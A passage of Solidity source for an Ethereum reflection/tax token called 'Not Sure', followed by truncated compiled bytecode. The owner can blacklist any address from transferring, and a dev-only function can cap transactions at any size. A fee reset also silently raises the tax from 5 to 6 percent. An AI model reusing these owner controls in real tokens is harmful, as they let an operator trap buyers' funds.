amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract NotSure is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Not Sure"; string private constant _symbol = "NS"; uint8 private constant _decimals = 9; //RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 5; uint256 private _redisfee = 2; //Bots mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _DevAddress; address payable private _marketing; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2) { _DevAddress = addr1; _marketing = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_DevAddress] = true; _isExcludedFromFee[_marketing] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function openTrading() external onlyOwner() { require(!tradingOpen, "trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance} (address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = false; _maxTxAmount = 25000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function maxtx(uint256 maxTxpc) external { require(_msgSender() == _DevAddress); require(maxTxpc > 0); _maxTxAmount = _tTotal.mul(maxTxpc).div(10**4); emit MaxTxAmountUpdated(_maxTxAmount); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _redisfee == 0) return; _taxFee = 0; _redisfee = 0; } function restoreAllFee() private { _taxFee = 6; _redisfee = 2; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (20 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _DevAddress.transfer(amount.div(2)); _marketing.transfer(amount.div(2)); } function manualswap() external { require(_msgSender() == _DevAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _DevAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _redisfee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101025760003560e01c806370a0823111610095578063a9059cbb11610064578063a9059cbb1461031c578063b515566a14610359578063c3c8cd8014610382578063c9567bf914610399578063dd62ed3e146103b057610109565b806370a0823114610272578063715018a6146102af5780638da5cb5b146102c657806395d89b41146102f157610109565b80632634e5e8116100d15780632634e5e8146101de578063313ce567146102075780635932ead1146102325780636fc3eaec1461025b57610109565b806306fdde031461010e578063095ea7b31461013957806318160ddd1461017657806323b872dd146101a157610109565b3661010957005b600080fd5b34801561011a57600080fd5b506101236103ed565b6040516101309190612cc3565b60405180910390f35b34801561014557600080fd5b50610160600480360381019061015b91906127ed565b61042a565b60405161016d9190612ca8565b60405180910390f35b34801561018257600080fd5b5061018b610448565b6040516101989190612e45565b60405180910390f35b3480156101ad57600080fd5b506101c860048036038101906101c3919061279a565b610458565b6040516101d59190612ca8565b60405180910390f35b3480156101ea57600080fd5b50610205600480360381019061020091906128d0565b610531565b005b34801561021357600080fd5b5061021c610610565b6040516102299190612eba565b60405180910390f35b34801561023e57600080fd5b5061025960048036038101906102549190612876565b610619565b005b34801561026757600080fd5b506102706106cb565b005b34801561027e57600080fd5b5061029960048036038101906102949190612700565b61073d565b6040516102a69190612e45565b60405180910390f35b3480156102bb57600080fd5b506102c461078e565b005b3480156102d257600080fd5b506102db6108e1565b6040516102e89190612bda565b60405180910390f35b3480156102fd57600080fd5b5061030661090a565b6040516103139190612cc3565b60405180910390f35b34801561032857600080fd5b50610343600480360381019061033e91906127ed565b610947565b6040516103509190612ca8565b60405180910390f35b34801561036557600080fd5b50610380600480360381019061037b919061282d565b610965565b005b34801561038e57600080fd5b50610397610a8f565b005b3480156103a557600080fd5b506103ae610b09565b005b3480156103bc57600080fd5b506103d760048036038101906103d2919061275a565b611063565b6040516103e49190612e45565b60405180910390f35b60606040518060400160405280600881526020017f4e6f742053757265000000000000000000000000000000000000000000000000815250905090565b600061043e6104376110ea565b84846110f2565b6001905092915050565b6000670de0b6b3a7640000905090565b60006104658484846112bd565b610526846104716110ea565b6105218560405180606001604052806028815260200161359860289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104d76110ea565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a7c9092919063ffffffff16565b6110f2565b600190509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166105726110ea565b73ffffffffffffffffffffffffffffffffffffffff161461059257600080fd5b6000811161059f57600080fd5b6105ce6127106105c083670de0b6b3a7640000611ae090919063ffffffff16565b611b5b90919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6010546040516106059190612e45565b60405180910390a150565b60006009905090565b6106216110ea565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106a590612d85565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661070c6110ea565b73ffffffffffffffffffffffffffffffffffffffff161461072c57600080fd5b600047905061073a81611ba5565b50565b6000610787600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ca0565b9050919050565b6107966110ea565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610823576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161081a90612d85565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600281526020017f4e53000000000000000000000000000000000000000000000000000000000000815250905090565b600061095b6109546110ea565b84846112bd565b6001905092915050565b61096d6110ea565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109f190612d85565b60405180910390fd5b60005b8151811015610a8b576001600a6000848481518110610a1f57610a1e613202565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610a839061315b565b9150506109fd565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ad06110ea565b73ffffffffffffffffffffffffffffffffffffffff1614610af057600080fd5b6000610afb3061073d565b9050610b0681611d0e565b50565b610b116110ea565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b9e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b9590612d85565b60405180910390fd5b600f60149054906101000a900460ff1615610bee576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610be590612e05565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610c7d30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16670de0b6b3a76400006110f2565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610cc357600080fd5b505afa158015610cd7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cfb919061272d565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610d5d57600080fd5b505afa158015610d71573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d95919061272d565b6040518363ffffffff1660e01b8152600401610db2929190612bf5565b602060405180830381600087803b158015610dcc57600080fd5b505af1158015610de0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e04919061272d565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610e8d3061073d565b600080610e986108e1565b426040518863ffffffff1660e01b8152600401610eba96959493929190612c47565b6060604051808303818588803b158015610ed357600080fd5b505af1158015610ee7573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f0c91906128fd565b5050506001600f60166101000a81548160ff0219169083151502179055506000600f60176101000a81548160ff0219169083151502179055506658d15e176280006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161100d929190612c1e565b602060405180830381600087803b15801561102757600080fd5b505af115801561103b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061105f91906128a3565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611162576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115990612de5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156111d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111c990612d25565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516112b09190612e45565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561132d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161132490612dc5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561139d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161139490612ce5565b60405180910390fd5b600081116113e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113d790612da5565b60405180910390fd5b6113e86108e1565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561145657506114266108e1565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156119b957600f60179054906101000a900460ff1615611689573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156114d857503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156115325750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561158c5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561168857600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166115d26110ea565b73ffffffffffffffffffffffffffffffffffffffff1614806116485750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166116306110ea565b73ffffffffffffffffffffffffffffffffffffffff16145b611687576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161167e90612e25565b60405180910390fd5b5b5b60105481111561169857600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561173c5750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61174557600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156117f05750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156118465750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561185e5750600f60179054906101000a900460ff165b156118ff5742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106118ae57600080fd5b6014426118bb9190612f7b565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600061190a3061073d565b9050600f60159054906101000a900460ff161580156119775750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b801561198f5750600f60169054906101000a900460ff165b156119b75761199d81611d0e565b600047905060008111156119b5576119b447611ba5565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611a605750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611a6a57600090505b611a7684848484611f96565b50505050565b6000838311158290611ac4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611abb9190612cc3565b60405180910390fd5b5060008385611ad3919061305c565b9050809150509392505050565b600080831415611af35760009050611b55565b60008284611b019190613002565b9050828482611b109190612fd1565b14611b50576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b4790612d65565b60405180910390fd5b809150505b92915050565b6000611b9d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611fc3565b905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611bf5600284611b5b90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611c20573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611c71600284611b5b90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611c9c573d6000803e3d6000fd5b5050565b6000600654821115611ce7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cde90612d05565b60405180910390fd5b6000611cf1612026565b9050611d068184611b5b90919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611d4657611d45613231565b5b604051908082528060200260200182016040528015611d745781602001602082028036833780820191505090505b5090503081600081518110611d8c57611d8b613202565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611e2e57600080fd5b505afa158015611e42573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611e66919061272d565b81600181518110611e7a57611e79613202565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611ee130600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846110f2565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611f45959493929190612e60565b600060405180830381600087803b158015611f5f57600080fd5b505af1158015611f73573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b80611fa457611fa3612051565b5b611faf848484612082565b80611fbd57611fbc61224d565b5b50505050565b6000808311829061200a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120019190612cc3565b60405180910390fd5b50600083856120199190612fd1565b9050809150509392505050565b600080600061203361225f565b9150915061204a8183611b5b90919063ffffffff16565b9250505090565b600060085414801561206557506000600954145b1561206f57612080565b600060088190555060006009819055505b565b600080600080600080612094876122be565b9550955095509550955095506120f286600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461232690919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061218785600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461237090919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506121d3816123ce565b6121dd848361248b565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161223a9190612e45565b60405180910390a3505050505050505050565b60066008819055506002600981905550565b600080600060065490506000670de0b6b3a76400009050612293670de0b6b3a7640000600654611b5b90919063ffffffff16565b8210156122b157600654670de0b6b3a76400009350935050506122ba565b81819350935050505b9091565b60008060008060008060008060006122db8a6008546009546124c5565b92509250925060006122eb612026565b905060008060006122fe8e87878761255b565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061236883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611a7c565b905092915050565b600080828461237f9190612f7b565b9050838110156123c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123bb90612d45565b60405180910390fd5b8091505092915050565b60006123d8612026565b905060006123ef8284611ae090919063ffffffff16565b905061244381600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461237090919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6124a08260065461232690919063ffffffff16565b6006819055506124bb8160075461237090919063ffffffff16565b6007819055505050565b6000806000806124f160646124e3888a611ae090919063ffffffff16565b611b5b90919063ffffffff16565b9050600061251b606461250d888b611ae090919063ffffffff16565b611b5b90919063ffffffff16565b9050600061254482612536858c61232690919063ffffffff16565b61232690919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806125748589611ae090919063ffffffff16565b9050600061258b8689611ae090919063ffffffff16565b905060006125a28789611ae090919063ffffffff16565b905060006125cb826125bd858761232690919063ffffffff16565b61232690919063ffffffff16565b9050838184965096509650505050509450945094915050565b60006125f76125f284612efa565b612ed5565b9050808382526020820190508285602086028201111561261a57612619613265565b5b60005b8581101561264a57816126308882612654565b84526020840193506020830192505060018101905061261d565b5050509392505050565b60008135905061266381613552565b92915050565b60008151905061267881613552565b92915050565b600082601f83011261269357612692613260565b5b81356126a38482602086016125e4565b91505092915050565b6000813590506126bb81613569565b92915050565b6000815190506126d081613569565b92915050565b6000813590506126e581613580565b92915050565b6000815190506126fa81613580565b92915050565b6000602082840312156127165761271561326f565b5b600061272484828501612654565b91505092915050565b6000602082840312156127435761274261326f565b5b600061275184828501612669565b91505092915050565b600080604083850312156127715761277061326f565b5b600061277f85828601612654565b925050602061279085828601612654565b9150509250929050565b6000806000606084860312156127b3576127b261326f565b5b60006127c186828701612654565b93505060206127d286828701612654565b92505060406127e3868287016126d6565b9150509250925092565b600080604083850312156128045761280361326f565b5b600061281285828601612654565b9250506020612823858286016126d6565b9150509250929050565b6000602082840312156128435761284261326f565b5b600082013567ffffffffffffffff8111156128615761286061326a565b5b61286d8482850161267e565b91505092915050565b60006020828403121561288c5761288b61326f565b5b600061289a848285016126ac565b91505092915050565b6000602082840312156128b9576128b861326f565b5b60006128c7848285016126c1565b91505092915050565b6000602082840312156128e6576128e561326f565b5b60006128f4848285016126d6565b91505092915050565b6000806000606084860312156129165761291561326f565b5b6000612924868287016126eb565b9350506020612935868287016126eb565b9250506040612946868287016126eb565b9150509250925092565b600061295c8383612968565b60208301905092915050565b61297181613090565b82525050565b61298081613090565b82525050565b600061299182612f36565b61299b8185612f59565b93506129a683612f26565b8060005b838110156129d75781516129be8882612950565b97506129c983612f4c565b9250506001810190506129aa565b5085935050505092915050565b6129ed816130a2565b82525050565b6129fc816130e5565b82525050565b6000612a0d82612f41565b612a178185612f6a565b9350612a278185602086016130f7565b612a3081613274565b840191505092915050565b6000612a48602383612f6a565b9150612a5382613285565b604082019050919050565b6000612a6b602a83612f6a565b9150612a76826132d4565b604082019050919050565b6000612a8e602283612f6a565b9150612a9982613323565b604082019050919050565b6000612ab1601b83612f6a565b9150612abc82613372565b602082019050919050565b6000612ad4602183612f6a565b9150612adf8261339b565b604082019050919050565b6000612af7602083612f6a565b9150612b02826133ea565b602082019050919050565b6000612b1a602983612f6a565b9150612b2582613413565b604082019050919050565b6000612b3d602583612f6a565b9150612b4882613462565b604082019050919050565b6000612b60602483612f6a565b9150612b6b826134b1565b604082019050919050565b6000612b83601783612f6a565b9150612b8e82613500565b602082019050919050565b6000612ba6601183612f6a565b9150612bb182613529565b602082019050919050565b612bc5816130ce565b82525050565b612bd4816130d8565b82525050565b6000602082019050612bef6000830184612977565b92915050565b6000604082019050612c0a6000830185612977565b612c176020830184612977565b9392505050565b6000604082019050612c336000830185612977565b612c406020830184612bbc565b9392505050565b600060c082019050612c5c6000830189612977565b612c696020830188612bbc565b612c7660408301876129f3565b612c8360608301866129f3565b612c906080830185612977565b612c9d60a0830184612bbc565b979650505050505050565b6000602082019050612cbd60008301846129e4565b92915050565b60006020820190508181036000830152612cdd8184612a02565b905092915050565b60006020820190508181036000830152612cfe81612a3b565b9050919050565b60006020820190508181036000830152612d1e81612a5e565b9050919050565b60006020820190508181036000830152612d3e81612a81565b9050919050565b60006020820190508181036000830152612d5e81612aa4565b9050919050565b60006020820190508181036000830152612d7e81612ac7565b9050919050565b60006020820190508181036000830152612d9e81612aea565b9050919050565b60006020820190508181036000830152612dbe81612b0d565b9050919050565b60006020820190508181036000830152612dde81612b30565b9050919050565b60006020820190508181036000830152612dfe81612b53565b9050919050565b60006020820190508181036000830152612e1e81612b76565b9050919050565b60006020820190508181036000830152612e3e81612b99565b9050919050565b6000602082019050612e5a6000830184612bbc565b92915050565b600060a082019050612e756000830188612bbc565b612e8260208301876129f3565b8181036040830152612e948186612986565b9050612ea36060830185612977565b612eb06080830184612bbc565b9695505050505050565b6000602082019050612ecf6000830184612bcb565b92915050565b6000612edf612ef0565b9050612eeb828261312a565b919050565b6000604051905090565b600067f